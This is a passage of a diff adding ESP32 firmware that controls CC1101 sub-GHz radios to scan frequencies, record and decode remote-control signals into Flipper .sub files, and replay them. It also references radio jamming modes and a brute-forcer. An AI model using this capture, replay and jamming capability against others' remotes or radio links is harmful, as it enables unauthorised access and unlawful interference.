ModuleCc1101 +{ +private: + CC1101ModuleConfig config; + CC1101ModuleConfig tmpConfig; + byte id; + byte inputPin; + byte outputPin; + SemaphoreHandle_t stateChangeSemaphore; + static SemaphoreHandle_t rwSemaphore; + +public: + /// Thread-safe access to the shared SPI mutex. + /// All code that touches the CC1101 SPI bus (including the bruter) + /// MUST take/give this semaphore around every transaction. + static SemaphoreHandle_t getSpiSemaphore() { return rwSemaphore; } + +private: + // OperationMode removed - no longer used with worker architecture + +public: + /* + * SPI (Serial Peripheral Interface) pins + * sck - Serial Clock + * miso - Master In Slave Out + * mosi - Master Out Slave In + * ss - Slave Select + * ip - Input pin + * op - Output pin + * module - select cc1101 module 0 or 1 + */ + ModuleCc1101(byte sck, byte miso, byte mosi, byte ss, byte io, byte op, byte module); + + ModuleCc1101 backupConfig(); + ModuleCc1101 restoreConfig(); + ModuleCc1101 setConfig(int mode, float frequency, bool dcFilterOff, int modulation, float rxBandwidth, float deviation, float dataRate); + ModuleCc1101 setConfig(CC1101ModuleConfig config); + ModuleCc1101 setReceiveConfig(float frequency, bool dcFilterOff, int modulation, float rxBandwidth, float deviation, float dataRate); + ModuleCc1101 changeFrequency(float frequency); + ModuleCc1101 setTransmitConfig(float frequency, int modulation, float deviation); + ModuleCc1101 initConfig(); + void applySubConfiguration(const uint8_t *byteArray, int length); + void setTx(float frequency); + void setTxWithPreset(float frequency, const uint8_t *presetBytes, int presetLength); + void sendData(byte *txBuffer, byte size); + void sendDataNonBlocking(byte *txBuffer, byte size, int delayMs); // Non-blocking version for jamming + // setMode/getMode removed - no longer used with worker architecture + // void setMode(OperationMode m) { mode = m; } + // OperationMode getMode() const { return mode; } + + CC1101ModuleConfig getCurrentConfig(); + int getModulation(); + byte getId(); + void init(); + void reset(); + byte getInputPin(); + byte getOutputPin(); + int getRssi(); + byte getLqi(); + void setSidle(); + void goSleep(); + SemaphoreHandle_t getStateChangeSemaphore(); + void unlock(); + byte getRegisterValue(byte address); + std::array getPATableValues(); + void readAllConfigRegisters(byte *buffer, byte num); + float getFrequency(); + void setPA(int power); // Set power in dBm (-30 to 10) + void calibrate(); // Perform calibration (uses current frequency and updates modulation from register) + bool waitForCalibration(uint32_t timeoutMs = 100); // Wait for calibration to complete + void enableContinuousTx(); // Enable continuous transmission mode for jamming + void writeToTxFifo(byte *data, byte size); // Write data directly to TX FIFO +}; + +extern ModuleCc1101 moduleCC1101State[]; + +#endif \ No newline at end of file diff --git a/src/modules/CC1101_driver/CC1101_Worker.cpp b/src/modules/CC1101_driver/CC1101_Worker.cpp new file mode 100644 index 0000000..82e2eda --- /dev/null +++ b/src/modules/CC1101_driver/CC1101_Worker.cpp @@ -0,0 +1,1600 @@ +#include "CC1101_Worker.h" +#include // Moved here from CC1101_Worker.h β€” only used in this .cpp +#include "FlipperSubFile.h" +#include "modules/subghz_function/StreamingSubFileParser.h" +#include "StreamingPulsePayload.h" +#include "core/ble/ClientsManager.h" +#include "BinaryMessages.h" +#include "modules/subghz_function/ProtocolDecoder.h" +#include "modules/subghz_function/FrequencyAnalyzer.h" +#include "StringHelpers.h" +#include "SubFileParser.h" // For preset byte arrays +#include "core/ble/CommandHandler.h" +#include "DeviceTasks.h" +#include "esp_log.h" + +static const char* TAG = "CC1101Worker"; + +// Helper function to get preset byte array by preset name +static const uint8_t* getPresetByteArray(const std::string& presetName) { + if (presetName == "FuriHalSubGhzPresetOok270Async") { + return subghz_device_cc1101_preset_ook_270khz_async_regs; + } else if (presetName == "FuriHalSubGhzPresetOok650Async") { + return subghz_device_cc1101_preset_ook_650khz_async_regs; + } else if (presetName == "FuriHalSubGhzPreset2FSKDev238Async") { + return subghz_device_cc1101_preset_2fsk_dev2_38khz_async_regs; + } else if (presetName == "FuriHalSubGhzPreset2FSKDev476Async") { + return subghz_device_cc1101_preset_2fsk_dev47_6khz_async_regs; + } else if (presetName == "FuriHalSubGhzPresetMSK99_97KbAsync") { + return subghz_device_cc1101_preset_msk_99_97kb_async_regs; + } else if (presetName == "FuriHalSubGhzPresetGFSK9_99KbAsync") { + return subghz_device_cc1101_preset_gfsk_9_99kb_async_regs; + } + return nullptr; +} + +// External references +extern ClientsManager& clients; + +// Static member initialization +QueueHandle_t CC1101Worker::taskQueue = nullptr; +TaskHandle_t CC1101Worker::workerTaskHandle = nullptr; +CC1101State CC1101Worker::moduleStates[CC1101_NUM_MODULES] = {CC1101State::Idle, CC1101State::Idle}; +int CC1101Worker::detectionMinRssi[CC1101_NUM_MODULES] = {-50, -50}; +bool CC1101Worker::detectionIsBackground[CC1101_NUM_MODULES] = {false, false}; +CC1101Worker::RecordingConfig CC1101Worker::recordingConfigs[CC1101_NUM_MODULES]; +CC1101Worker::JammingConfig CC1101Worker::jammingConfigs[CC1101_NUM_MODULES]; +SignalDetectedCallback CC1101Worker::signalDetectedCallback = nullptr; +SignalRecordedCallback CC1101Worker::signalRecordedCallback = nullptr; +SemaphoreHandle_t sdMutex = nullptr; // SD card mutex for concurrent file operations + +float CC1101Worker::signalDetectionFrequencies[] = { + 300.00, 303.87, 304.25, 310.00, 315.00, 318.00, 390.00, 418.00, 433.07, + 433.92, 434.42, 434.77, 438.90, 868.35, 868.865, 868.95, 915.00, 925.00 +}; + +extern ModuleCc1101 moduleCC1101State[CC1101_NUM_MODULES]; + +// Recording ISR data structures (moved from Recorder.cpp) +portMUX_TYPE CC1101Worker::samplesMuxes[CC1101_NUM_MODULES]; +ReceivedSamples CC1101Worker::receivedSamples[CC1101_NUM_MODULES]; + +void CC1101Worker::init(SignalDetectedCallback detectedCb, SignalRecordedCallback recordedCb) { + signalDetectedCallback = detectedCb; + signalRecordedCallback = recordedCb; + + // Initialize samples mutexes (moved from Recorder::init) + for (int i = 0; i < CC1101_NUM_MODULES; ++i) { + samplesMuxes[i] = portMUX_INITIALIZER_UNLOCKED; + } + + // Create queue for CC1101 tasks + taskQueue = xQueueCreate(10, sizeof(CC1101Task*)); + if (taskQueue == nullptr) { + ESP_LOGE(TAG, "Failed to create task queue"); + } + + // Create SD card mutex for concurrent file operations + sdMutex = xSemaphoreCreateMutex(); + if (sdMutex == nullptr) { + ESP_LOGE(TAG, "Failed to create SD mutex"); + } +} + +// ISR and interrupt management functions (moved from Recorder.cpp) +void IRAM_ATTR CC1101Worker::receiver(void* arg) +{ + int module = reinterpret_cast(arg); + receiveSample(module); +} + +void IRAM_ATTR CC1101Worker::receiveSample(int module) +{ + const unsigned long time = micros(); + portENTER_CRITICAL_ISR(&CC1101Worker::samplesMuxes[module]); + ReceivedSamples &data = getReceivedData(module); + + if (data.lastReceiveTime == 0) { + data.lastReceiveTime = time; + portEXIT_CRITICAL_ISR(&CC1101Worker::samplesMuxes[module]); + return; + } + + const unsigned long duration = time - data.lastReceiveTime; + data.lastReceiveTime = time; + + if (duration > MAX_SIGNAL_DURATION) { + // Log only occasionally to avoid ISR overhead - use static counter + static volatile int clearCount[2] = {0, 0}; + clearCount[module] = clearCount[module] + 1; // Avoid deprecated volatile++ + if ((clearCount[module] % 100) == 0) { + // Note: ESP_LOG cannot be used in ISR, so we'll track this differently + } + data.samples.clear(); + portEXIT_CRITICAL_ISR(&CC1101Worker::samplesMuxes[module]); + return; + } + + if (duration >= MIN_PULSE_DURATION && data.samples.size() < MAX_SAMPLES_BUFFER) { + try { + data.samples.push_back(duration); + } catch (...) { + // If vector push_back fails, clear and continue + data.samples.clear(); + } + } else { + // Track rejected samples for debugging + static volatile int rejectedCount[2] = {0, 0}; + rejectedCount[module] = rejectedCount[module] + 1; // Avoid deprecated volatile++ + } + + portEXIT_CRITICAL_ISR(&CC1101Worker::samplesMuxes[module]); +} + +void CC1101Worker::addModuleReceiver(int module) +{ + // First remove any existing interrupt to avoid conflicts + removeModuleReceiver(module); + // Use busy wait instead of vTaskDelay to avoid context issues + delayMicroseconds(1000); // 1ms delay + attachInterruptArg(moduleCC1101State[module].getInputPin(), receiver, reinterpret_cast(module), CHANGE); +} + +void CC1101Worker::removeModuleReceiver(int module) +{ + // Check if interrupt is actually attached before removing + // This prevents "GPIO isr service is not installed" error + int pin = moduleCC1101State[module].getInputPin(); + if (digitalPinToInterrupt(pin) != NOT_AN_INTERRUPT) { + detachInterrupt(digitalPinToInterrupt(pin)); + ESP_LOGD(TAG, "ISR detached for module %d (pin %d)", module, pin); + } +} + +void CC1101Worker::clearReceivedSamples(int module) +{ + portENTER_CRITICAL(&CC1101Worker::samplesMuxes[module]); + getReceivedData(module).samples.clear(); + getReceivedData(module).lastReceiveTime = 0; + portEXIT_CRITICAL(&CC1101Worker::samplesMuxes[module]); +} + +ReceivedSamples& CC1101Worker::getReceivedData(int module) +{ + return receivedSamples[module]; +} + +void CC1101Worker::start() { + // Create worker task with static allocation + // Stack usage: + // - StreamingPulsePayload (~100 bytes - reads from file on-demand!) + // - checkAndSaveRecording() chunk buffer (~2KB) + // - Stack frames and local variables (~1KB) + // - BLE notifications and system calls (~1KB) + // Total: ~4KB used, increased to 6KB for safety margin + static StackType_t workerStack[6144 / sizeof(StackType_t)]; + static StaticTask_t workerBuffer; + + workerTaskHandle = xTaskCreateStatic( + workerTask, + "CC1101Worker", + 6144 / sizeof(StackType_t), + nullptr, + 5, // Priority 3 (high priority for time-sensitive RF operations, increased for jamming stability) + workerStack, + &workerBuffer + ); + + if (workerTaskHandle == nullptr) { + ESP_LOGE(TAG, "Failed to create worker task"); + } else { + ESP_LOGI(TAG, "CC1101Worker started successfully"); + } +} + +void CC1101Worker::workerTask(void* parameter) { + ESP_LOGI(TAG, "CC1101Worker task running"); + + CC1101Task* taskPtr; + TickType_t lastWakeTime = xTaskGetTickCount(); + TickType_t lastHeartbeat = xTaskGetTickCount(); + + while (true) { + // Monitor stack usage periodically + static int iterationCount = 0; + if (++iterationCount % 1000 == 0) { + UBaseType_t stackHighWaterMark = uxTaskGetStackHighWaterMark(NULL); + ESP_LOGI(TAG, "Stack usage: %d bytes used, %d bytes remaining", + 6144 - stackHighWaterMark * sizeof(StackType_t), + stackHighWaterMark * sizeof(StackType_t)); + + if (stackHighWaterMark < 1024) { + ESP_LOGW(TAG, "Low stack: %d bytes remaining", stackHighWaterMark * sizeof(StackType_t)); + } + } + + // Periodic heap health check (every ~60 s) + static TickType_t lastHeapLog = 0; + TickType_t nowHeap = xTaskGetTickCount(); + if ((nowHeap - lastHeapLog) > pdMS_TO_TICKS(60000)) { + lastHeapLog = nowHeap; + size_t freeH = ESP.getFreeHeap(); + size_t largest = heap_caps_get_largest_free_block(MALLOC_CAP_DEFAULT); + size_t minEver = ESP.getMinFreeHeap(); + float frag = (freeH > 0) ? 100.0f * (1.0f - (float)largest / (float)freeH) : 0.0f; + ESP_LOGI(TAG, "Heap: free=%u largest=%u min=%u frag=%.1f%%", + freeH, largest, minEver, frag); + if (freeH < 20000) { + ESP_LOGW(TAG, "Heap critically low! free=%u", freeH); + } + if (frag > 40.0f) { + ESP_LOGW(TAG, "High heap fragmentation: %.1f%%", frag); + } + } + + // Send periodic heartbeat for widget updates (every 30 seconds) + // Skip if a command is currently executing to avoid interference + TickType_t now = xTaskGetTickCount(); + if ((now - lastHeartbeat) > pdMS_TO_TICKS(30000)) { + if (!commandHandler.isExecuting) { + sendHeartbeat(); + } + lastHeartbeat = now; + } + + // Check for new commands (non-blocking) + if (xQueueReceive(taskQueue, &taskPtr, 0) == pdTRUE) { + if (taskPtr != nullptr) { + processTask(*taskPtr); + delete taskPtr; + } + } + + // Process ongoing operations for both modules + for (int module = 0; module < CC1101_NUM_MODULES; module++) { + switch (moduleStates[module]) { + case CC1101State::Detecting: + processDetecting(module); + break; + + case CC1101State::Recording: + processRecording(module); + break; + + case CC1101State::Analyzing: + processAnalyzing(module); + break; + + case CC1101State::Jamming: + processJamming(module); + break; + + case CC1101State::Idle: + case CC1101State::Transmitting: + default: + // Nothing to do in these states + break; + } + } + + // Small delay to prevent busy-waiting + vTaskDelayUntil(&lastWakeTime, pdMS_TO_TICKS(10)); + } +} + +void CC1101Worker::processTask(const CC1101Task& task) { + ESP_LOGD(TAG, "Processing command %d for module %d", (int)task.command, task.module); + + switch (task.command) { + case CC1101Command::StartDetect: + handleStartDetect(task.module, task.minRssi, task.isBackground); + break; + + case CC1101Command::StopDetect: + handleStopDetect(task.module); + break; + + case CC1101Command::StartRecord: + handleStartRecord(task.module, task); + break; + + case CC1101Command::StopRecord: + handleStopRecord(task.module); + break; + + case CC1101Command::Transmit: + handleTransmit(task.module, task.filename, task.repeat, task.pathType); + break; + + case CC1101Command::StartAnalyzer: + // frequency=startFreq, rxBandwidth=endFreq, deviation=step, dataRate=dwellTime + handleStartAnalyzer(task.module, task.frequency, task.rxBandwidth, task.deviation, + static_cast(task.dataRate)); + break; + + case CC1101Command::StopAnalyzer: + handleStopAnalyzer(task.module); + break; + + case CC1101Command::GoIdle: + handleGoIdle(task.module); + break; + + case CC1101Command::StartJam: + handleStartJam(task.module, task.frequency, task.power, + task.patternType, task.customPatternData, task.hasCustomPattern, + task.maxDurationMs, task.cooldownMs); + break; + + default: + ESP_LOGW(TAG, "Unknown command: %d", (int)task.command); + break; + } +} + +void CC1101Worker::handleStartDetect(int module, int minRssi, bool isBackground) { + ESP_LOGI(TAG, "Starting detection on module %d (minRssi=%d, background=%d)", + module, minRssi, isBackground); + + // Stop any ongoing operation first + handleGoIdle(module); + + // Configure CC1101 for detection + moduleCC1101State[module].setReceiveConfig( + signalDetectionFrequencies[SIGNAL_DETECTION_FREQUENCIES_LENGTH - 1], + false, + MODULATION_ASK_OOK, + 256, + 0, + 512 + ).initConfig(); + + // Send mode switch notification BEFORE state update for accurate previousMode + sendModeNotification(module, CC1101State::Detecting); + + // Update state after notification + moduleStates[module] = CC1101State::Detecting; + detectionMinRssi[module] = minRssi; + detectionIsBackground[module] = isBackground; + + ESP_LOGI(TAG, "Detection started on module %d", module); +} + +void CC1101Worker::handleStopDetect(int module) { + ESP_LOGI(TAG, "Stopping detection on module %d", module); + + moduleCC1101State[module].setSidle(); + moduleCC1101State[module].unlock(); + + // Send notification BEFORE changing state for accurate previousMode + sendModeNotification(module, CC1101State::Idle); + moduleStates[module] = CC1101State::Idle; +} + +void CC1101Worker::handleStartRecord(int module, const CC1101Task& config) { + ESP_LOGI(TAG, "Starting recording on module %d (freq=%.2f, mod=%d, preset=%s)", + module, config.frequency, config.modulation, config.preset.c_str()); + + // Log other module state for debugging concurrent operations + int otherModule = (module == 0) ? 1 : 0; + ESP_LOGI(TAG, "Module %d state before start: %d, Module %d state: %d", + module, static_cast(moduleStates[module]), + otherModule, static_cast(moduleStates[otherModule])); + + // Stop any ongoing operation first (ONLY on this module!) + handleGoIdle(module); + + // Save recording config + recordingConfigs[module].frequency = config.frequency; + recordingConfigs[module].modulation = config.modulation; + recordingConfigs[module].deviation = config.deviation; + recordingConfigs[module].rxBandwidth = config.rxBandwidth; + recordingConfigs[module].dataRate = config.dataRate; + recordingConfigs[module].preset = config.preset; + + // Update state FIRST (before starting actual recording) + // Send mode switch notification BEFORE changing state for accurate previousMode + sendModeNotification(module, CC1101State::Recording); + moduleStates[module] = CC1101State::Recording; + + // Verify other module state unchanged + ESP_LOGI(TAG, "After start - Module %d: Recording, Module %d: %d (should be unchanged!)", + module, otherModule, static_cast(moduleStates[otherModule])); + + // Configure CC1101 + moduleCC1101State[module].setReceiveConfig( + config.frequency, + config.modulation == MODULATION_2_FSK ? true : false, + config.modulation, + config.rxBandwidth, + config.deviation, + config.dataRate + ).initConfig(); + + // Clear any previous samples and start ISR + clearReceivedSamples(module); + + // Get GDO0 pin for this module + int gdo0Pin = moduleCC1101State[module].getInputPin(); + ESP_LOGI(TAG, "Setting up ISR for module %d on pin %d (frequency=%.2f, modulation=%d, deviation=%.2f)", + module, gdo0Pin, config.frequency, config.modulation, config.deviation); + + addModuleReceiver(module); + + // Verify interrupt was attached + if (digitalPinToInterrupt(gdo0Pin) != NOT_AN_INTERRUPT) { + ESP_LOGI(TAG, "ISR successfully attached for module %d on pin %d", module, gdo0Pin); + } else { + ESP_LOGE(TAG, "Failed to attach ISR for module %d on pin %d!", module, gdo0Pin); + } + + ESP_LOGI(TAG, "Recording started on module %d", module); +} + +void CC1101Worker::handleStopRecord(int module) { + ESP_LOGI(TAG, "Stopping recording on module %d", module); + + removeModuleReceiver(module); + moduleCC1101State[module].setSidle(); + moduleCC1101State[module].unlock(); + clearReceivedSamples(module); + moduleStates[module] = CC1101State::Idle; + + // Send mode switch notification + sendModeNotification(module, CC1101State::Idle); +} + +void CC1101Worker::handleTransmit(int module, const std::string& filename, int repeat, int pathType) { + ESP_LOGI(TAG, "Transmitting on module %d: %s (repeat=%d)", module, filename.c_str(), repeat); + + // Remember previous state for proper restoration + CC1101State previousState = moduleStates[module]; + ESP_LOGI(TAG, "Module %d previous state: %d", module, static_cast(previousState)); + + // Stop any ongoing operation first + handleGoIdle(module); + + // IMPORTANT: Give more time after stopping operation to ensure notification is sent + vTaskDelay(pdMS_TO_TICKS(100)); + + // Update state + moduleStates[module] = CC1101State::Transmitting; + + // Send mode switch notification + sendModeNotification(module, CC1101State::Transmitting); + + // CRITICAL: Give BLE time to send notification before blocking transmission + vTaskDelay(pdMS_TO_TICKS(100)); + + // Perform transmission (this is blocking) + std::string error = transmitSub(filename, module, repeat, pathType); + + // Back to idle + moduleStates[module] = CC1101State::Idle; + + // Send mode switch notification + sendModeNotification(module, CC1101State::Idle); + + // CRITICAL: Give BLE time to send notification + vTaskDelay(pdMS_TO_TICKS(100)); + + if (error.empty()) { + ESP_LOGI(TAG, "Transmission completed successfully on module %d", module); + } else { + ESP_LOGE(TAG, "Transmission failed on module %d: %s", module, error.c_str()); + } +} + +void CC1101Worker::handleStartAnalyzer(int module, float startFreq, float endFreq, float step, uint32_t dwellTime) { + ESP_LOGI(TAG, "Starting analyzer on module %d (%.2f - %.2f MHz, step=%.2f, dwell=%u ms)", + module, startFreq, endFreq, step, dwellTime); + + // Stop any ongoing operation first + handleGoIdle(module); + + // Validate and set defaults + if (step <= 0 || step > 1.0f) { + step = 0.1f; // Default step 0.1 MHz + } + + if (dwellTime == 0) { + dwellTime = 50; // 50ms default dwell time + } + + frequencyAnalyzer.startScan(module, startFreq, endFreq, step, dwellTime); + moduleStates[module] = CC1101State::Analyzing; + + sendModeNotification(module, CC1101State::Analyzing); +} + +void CC1101Worker::handleStopAnalyzer(int module) { + ESP_LOGI(TAG, "Stopping analyzer on module %d", module); + + frequencyAnalyzer.stopScan(); + moduleStates[module] = CC1101State::Idle; + + sendModeNotification(module, CC1101State::Idle); +} + +void CC1101Worker::processAnalyzing(int module) { + frequencyAnalyzer.process(); + + // Check if analyzer finished + if (!frequencyAnalyzer.isActive() && moduleStates[module] == CC1101State::Analyzing) { + handleStopAnalyzer(module); + } +} + +void CC1101Worker::handleGoIdle(int module) { + ESP_LOGD(TAG, "Setting module %d to idle", module); + + switch (moduleStates[module]) { + case CC1101State::Detecting: + handleStopDetect(module); + break; + + case CC1101State::Recording: + handleStopRecord(module); + break; + + case CC1101State::Analyzing: + handleStopAnalyzer(module); + break; + + case CC1101State::Jamming: + handleStopJam(module); + break; + + case CC1101State::Transmitting: + case CC1101State::Idle: + default: + moduleCC1101State[module].setSidle(); + moduleCC1101State[module].unlock(); + moduleStates[module] = CC1101State::Idle; + break; + } +} + +void CC1101Worker::processDetecting(int module) { + // Scan all frequencies and report every signal above threshold + detectSignal(module, detectionMinRssi[module], detectionIsBackground[module]); + + // Small cooldown between full sweeps to avoid flooding BLE + vTaskDelay(pdMS_TO_TICKS(50)); +} + +bool CC1101Worker::detectSignal(int module, int minRssi, bool isBackground) { + bool anyFound = false; + + // Scan ALL frequencies and report each one above threshold individually. + // This turns the scanner into a real-time frequency activity monitor. + for (int i = 0; i < SIGNAL_DETECTION_FREQUENCIES_LENGTH; i++) { + float fMhz = signalDetectionFrequencies[i]; + moduleCC1101State[module].changeFrequency(fMhz); + vTaskDelay(pdMS_TO_TICKS(1)); + int rssi = moduleCC1101State[module].getRssi(); + + if (rssi >= minRssi) { + CC1101DetectedSignal signal; + signal.rssi = rssi; + signal.lqi = moduleCC1101State[module].getLqi(); + signal.frequency = fMhz; + signal.module = module; + signal.isBackgroundScanner = isBackground; + + ESP_LOGD(TAG, "Signal: freq=%.2f rssi=%d module=%d", + fMhz, rssi, module); + + if (signalDetectedCallback) { + signalDetectedCallback(signal); + } + anyFound = true; + } + } + + return anyFound; +} + +void CC1101Worker::processRecording(int module) { + // Check if recording is complete + checkAndSaveRecording(module); +} + +void CC1101Worker::checkAndSaveRecording(int module) { + // Get samples from ISR buffer + portENTER_CRITICAL(&samplesMuxes[module]); + ReceivedSamples &data = getReceivedData(module); + size_t sampleCount = data.samples.size(); + unsigned long lastReceiveTime = data.lastReceiveTime; + portEXIT_CRITICAL(&samplesMuxes[module]); + + if (sampleCount < MIN_SAMPLE) { + return; // Not enough samples yet + } + + unsigned long timeSinceLast = micros() - lastReceiveTime; + if (timeSinceLast <= MAX_SIGNAL_DURATION) { + return; // Signal still coming in + } + + ESP_LOGI(TAG, "Signal complete on module %d: %zu samples", module, sampleCount); + + // Stop recording + removeModuleReceiver(module); + + // Limit samples + if (sampleCount > 10000) { + sampleCount = 10000; + } + + // Try to decode protocol in real-time + ProtocolDecoder::DecodedSignal decoded; + bool decodedSuccess = false; + + // Get samples copy for decoding (must be done outside critical section) + std::vector samplesCopy; + samplesCopy.reserve(sampleCount); + + portENTER_CRITICAL(&samplesMuxes[module]); + samplesCopy.assign(data.samples.begin(), data.samples.begin() + sampleCount); + portEXIT_CRITICAL(&samplesMuxes[module]); + + // Read RSSI outside critical section to avoid deadlock + // (getRssi acquires rwSemaphore internally, which is forbidden inside portENTER_CRITICAL) + int currentRssi = moduleCC1101State[module].getRssi(); + + // Attempt decoding + decodedSuccess = ProtocolDecoder::decode(samplesCopy, + recordingConfigs[module].frequency, + currentRssi, + decoded); + + if (decodedSuccess && decoded.isValid() && decoded.protocol != "RAW") { + ESP_LOGI(TAG, "Signal decoded as %s protocol", decoded.protocol.c_str()); + } else { + ESP_LOGD(TAG, "Signal could not be decoded to specific protocol, saving as RAW"); + } + + // Generate filename (include protocol if decoded) + RecordingConfig& config = recordingConfigs[module]; + char filenameBuffer[100]; + if (decodedSuccess && decoded.isValid() && decoded.protocol != "RAW") { + sprintf(filenameBuffer, "m%d_%s_%d_%s.sub", + module, + decoded.protocol.c_str(), + static_cast(config.frequency * 100), + helpers::string::generateRandomString(8).c_str()); + } else { + sprintf(filenameBuffer, "m%d_%d_%s_%d_%s.sub", + module, + static_cast(config.frequency * 100), + config.modulation == MODULATION_ASK_OOK ? "AM" : "FM", + static_cast(config.rxBandwidth), + helpers::string::generateRandomString(8).c_str()); + } + std::string filename = filenameBuffer; + std::string fullPath = "/DATA/SIGNALS/" + filename; + + // Prepare custom preset data if needed + std::vector customPresetData; + if (config.preset == "Custom") { + ModuleCc1101& m = moduleCC1101State[module]; + customPresetData.insert(customPresetData.end(), { + CC1101_MDMCFG4, m.getRegisterValue(CC1101_MDMCFG4), + CC1101_MDMCFG3, m.getRegisterValue(CC1101_MDMCFG3), + CC1101_MDMCFG2, m.getRegisterValue(CC1101_MDMCFG2), + CC1101_DEVIATN, m.getRegisterValue(CC1101_DEVIATN), + CC1101_FREND0, m.getRegisterValue(CC1101_FREND0), + 0x00, 0x00 + }); + + std::array paTable = m.getPATableValues(); + customPresetData.insert(customPresetData.end(), paTable.begin(), paTable.end()); + } + + // CRITICAL OPTIMIZATION: Write chunks directly to file + // CRITICAL: Lock SD mutex for concurrent file operations from multiple modules + if (xSemaphoreTake(sdMutex, pdMS_TO_TICKS(1000)) != pdTRUE) { + ESP_LOGE(TAG, "Failed to acquire SD mutex for module %d", module); + if (signalRecordedCallback) { + signalRecordedCallback(false, filename); + } + clearReceivedSamples(module); + addModuleReceiver(module); + return; + } + + // Create directory if needed + if (!SD.exists("/DATA/SIGNALS")) { + SD.mkdir("/DATA/SIGNALS"); + } + + File file = SD.open(fullPath.c_str(), FILE_WRITE); + if (!file) { + ESP_LOGE(TAG, "Failed to open file: %s", fullPath.c_str()); + xSemaphoreGive(sdMutex); // Release mutex! + if (signalRecordedCallback) { + signalRecordedCallback(false, filename); + } + clearReceivedSamples(module); + addModuleReceiver(module); // Restart recording + return; + } + + // Write header and preset info + file.println("Filetype: Flipper SubGhz RAW File"); + file.println("Version: 1"); + file.print("Frequency: "); + file.print(config.frequency * 1e6, 0); + file.println(); + + // Write preset + file.print("Preset: "); + std::string presetName = config.preset.empty() ? "Custom" : config.preset; + if (presetName == "Ook270") file.println("FuriHalSubGhzPresetOok270Async"); + else if (presetName == "Ook650") file.println("FuriHalSubGhzPresetOok650Async"); + else if (presetName == "2FSKDev238") file.println("FuriHalSubGhzPreset2FSKDev238Async"); + else if (presetName == "2FSKDev476") file.println("FuriHalSubGhzPreset2FSKDev476Async"); + else if (presetName == "MSK") file.println("FuriHalSubGhzPresetMSK99_97KbAsync"); + else if (presetName == "GFSK") file.println("FuriHalSubGhzPresetGFSK9_99KbAsync"); + else file.println("FuriHalSubGhzPresetCustom"); + + if (presetName == "Custom" && !customPresetData.empty()) { + file.println("Custom_preset_module: CC1101"); + file.print("Custom_preset_data: "); + for (size_t i = 0; i < customPresetData.size(); ++i) { + char hexStr[3]; + sprintf(hexStr, "%02X", customPresetData[i]); + file.print(hexStr); + if (i < customPresetData.size() - 1) file.print(" "); + } + file.println(); + } + + // Write protocol (decoded if available, otherwise RAW) + file.print("Protocol: "); + if (decodedSuccess && decoded.isValid() && decoded.protocol != "RAW") { + file.println(decoded.protocol.c_str()); + + // Write protocol-specific data + if (decoded.protocol == "Princeton") { + if (!decoded.key.empty()) { + file.print("Key: "); + file.println(decoded.key.c_str()); + } + if (decoded.te > 0) { + file.print("TE: "); + file.println(decoded.te); + } + if (decoded.bitCount > 0) { + file.print("Bit: "); + file.println(decoded.bitCount); + } + if (decoded.repeat > 0) { + file.print("Repeat: "); + file.println(decoded.repeat); + } + } + + // Also save RAW data as fallback + file.println("RAW_Data: "); + file.print("RAW_Data: "); + } else { + file.println("RAW"); + file.print("RAW_Data: "); + } + + // Write samples in chunks directly from ISR buffer + const size_t CHUNK_SIZE = 256; + unsigned long chunk[CHUNK_SIZE]; + size_t offset = 0; + + while (offset < sampleCount) { + size_t chunkSize = min(CHUNK_SIZE, sampleCount - offset); + + // Copy chunk from ISR buffer + portENTER_CRITICAL(&samplesMuxes[module]); + for (size_t i = 0; i < chunkSize; i++) { + chunk[i] = data.samples[offset + i]; + } + portEXIT_CRITICAL(&samplesMuxes[module]); + + // Write chunk to file + for (size_t i = 0; i < chunkSize; i++) { + if (offset + i > 0) { + file.print((offset + i) % 2 == 1 ? " -" : " "); + } + file.print(chunk[i]); + } + + offset += chunkSize; + + // Line breaks every 512 numbers + if (offset % 512 == 0 && offset < sampleCount) { + file.println(); + file.print("RAW_Data: "); + } + } + + file.println(); + file.close(); + + // NOTE: File time setting is disabled here to avoid stack overflow + // Time will be set when file is saved to Records directory via saveFileToSignalsWithName + // which has more stack space available + + // CRITICAL: Release SD mutex after file operations + xSemaphoreGive(sdMutex); + + ESP_LOGI(TAG, "Signal saved: %s (%zu samples)", filename.c_str(), sampleCount); + + // Callback + if (signalRecordedCallback) { + signalRecordedCallback(true, filename); + } + + // Clear samples and restart recording + clearReceivedSamples(module); + addModuleReceiver(module); +} + +// Transmission functions (moved from Transmitter.cpp) +std::vector CC1101Worker::getCountOfOnOffBits(const std::string &bits) +{ + std::vector counts; + char currentBit = bits[0]; + int currentCount = 1; + + for (size_t i = 1; i < bits.size(); i++) { + if (bits[i] == currentBit) { + currentCount++; + } else { + counts.push_back(currentCount); + currentBit = bits[i]; + currentCount = 1; + } + } + + counts.push_back(currentCount); + return counts; +} + +bool CC1101Worker::transmitBinary(float frequency, int pulseDuration, const std::string &bits, int module, int modulation, float deviation, int repeatCount, int wait) +{ + moduleCC1101State[module].backupConfig().setTransmitConfig(frequency, modulation, deviation).init(); + std::vector countOfOnOffBits = getCountOfOnOffBits(bits); + + for (int r = 0; r < repeatCount; r++) { + for (int i = 0; i < countOfOnOffBits.size(); i++) { + digitalWrite(moduleCC1101State[module].getOutputPin(), i % 2 == 0 ? HIGH : LOW); + delayMicroseconds(countOfOnOffBits[i] * pulseDuration); + } + delay(wait); + } + + moduleCC1101State[module].restoreConfig(); + moduleCC1101State[module].setSidle(); + + return true; +} + +bool CC1101Worker::transmitRaw(int module, float frequency, int modulation, float deviation, std::string& data, int repeat) +{ + std::vector samples; + std::istringstream stream(data.c_str()); + int sample; + + while (stream >> sample) { + samples.push_back(sample); + } + + moduleCC1101State[module].backupConfig().setTransmitConfig(frequency, modulation, deviation).initConfig(); + for (int r = 0; r < repeat; r++) { + transmitRawData(samples, module); + delay(1); + } + + moduleCC1101State[module].restoreConfig(); + moduleCC1101State[module].setSidle(); + + return true; +} + +std::string CC1101Worker::transmitSub(const std::string& filename, int module, int repeat, int pathType) +{ + std::string fullPath; + // If path is already absolute (/DATA/...), use it directly + if (filename.find("/DATA/") == 0) { + fullPath = filename; + ESP_LOGD(TAG, "Using full system path: %s", fullPath.c_str()); + } else { + // Use pathType to determine subdirectory + static const char* DIRS[] = {"/DATA/RECORDS", "/DATA/SIGNALS", "/DATA/PRESETS", "/DATA/TEMP"}; + if (pathType >= 0 && pathType < 4) { + fullPath = std::string(DIRS[pathType]) + "/" + filename; + ESP_LOGD(TAG, "Using pathType %d: %s", pathType, DIRS[pathType]); + } else { + fullPath = std::string("/DATA/RECORDS/") + filename; + ESP_LOGW(TAG, "Unknown pathType %d; default RECORDS", pathType); + } + ESP_LOGD(TAG, "Added base path, full path: %s", fullPath.c_str()); + } + 